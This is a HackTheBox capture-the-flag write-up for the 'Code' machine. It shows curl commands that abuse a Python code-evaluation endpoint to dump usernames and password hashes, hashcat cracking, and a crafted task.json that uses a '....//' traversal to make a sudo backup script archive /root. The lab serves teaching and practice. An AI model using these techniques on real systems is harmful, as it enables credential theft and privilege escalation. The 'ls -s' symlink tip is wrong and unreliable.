HackTheBox: Code
Overview
Code is a Linux machine featuring a Python web application that evaluates arbitrary code. After exfiltrating and cracking database hashes, lateral movement leads to a backup script vulnerable to directory traversal, yielding root access.
Enumeration
Initial Nmap scan reveals SSH and a Gunicorn HTTP server.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn 20.0.4
Directory fuzzing with Gobuster identifies several endpoints: /about, /codes, /login, /register.
Initial Access: Remote Code Execution
The application exposes a /run_code endpoint designed to evaluate Python code. We can abuse this to query the SQLAlchemy database objects directly.
Extracting usernames:
curl -X POST -d "code=print([u.username for u in db.session.query(User).all()])" http://10.129.46.160:5000/run_code
{"output":"['development', 'martin', 'test']\n"}
Extracting password hashes:
curl -X POST -d "code=print([u.password for u in db.session.query(User).all()])" http://10.129.46.160:5000/run_code
{"output":"['[REDACTED]', '[REDACTED]', '[REDACTED]']\n"}
Cracking the Hashes
The extracted MD5 hashes are cracked using Hashcat against rockyou.txt:
hashcat -m 0 -a 0 hash1.txt rockyou.txt
The hash for the user martin successfully cracks to [REDACTED]. Logging in via SSH as martin grants initial access and the user flag.
Privilege Escalation: Backup Script Traversal
Checking sudo privileges for martin:
martin@code:~/backups$ sudo -l
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
The backy.sh script reads a configuration file, task.json, which defines directories to archive. The default structure looks like this:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/"
],
"exclude": [
".*"
]
}
The script is vulnerable to directory traversal within the directories_to_archive array. However, standard dot-slash (../) sequences might be filtered. We bypass this using double slashes and dots:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//....//root"
]
}
Running the script with the crafted JSON:
sudo /usr/bin/backy.sh task.json
This creates an archive of the /root directory in /home/martin/backups/.
Extracting the generated tar.bz2 archive:
tar -xjf code_home_.._.._root_2025_March.tar.bz2
Inside the extracted archive resides the root flag ([REDACTED]).
Useful Commands
- Finding files and suppressing errors:
find . -type f -name "user.txt" 2>/dev/null - Creating symlinks:
ls -s <file> <destination> - Secure copy:
scp martin@10.129.46.160:/home/martin/backups/task.json .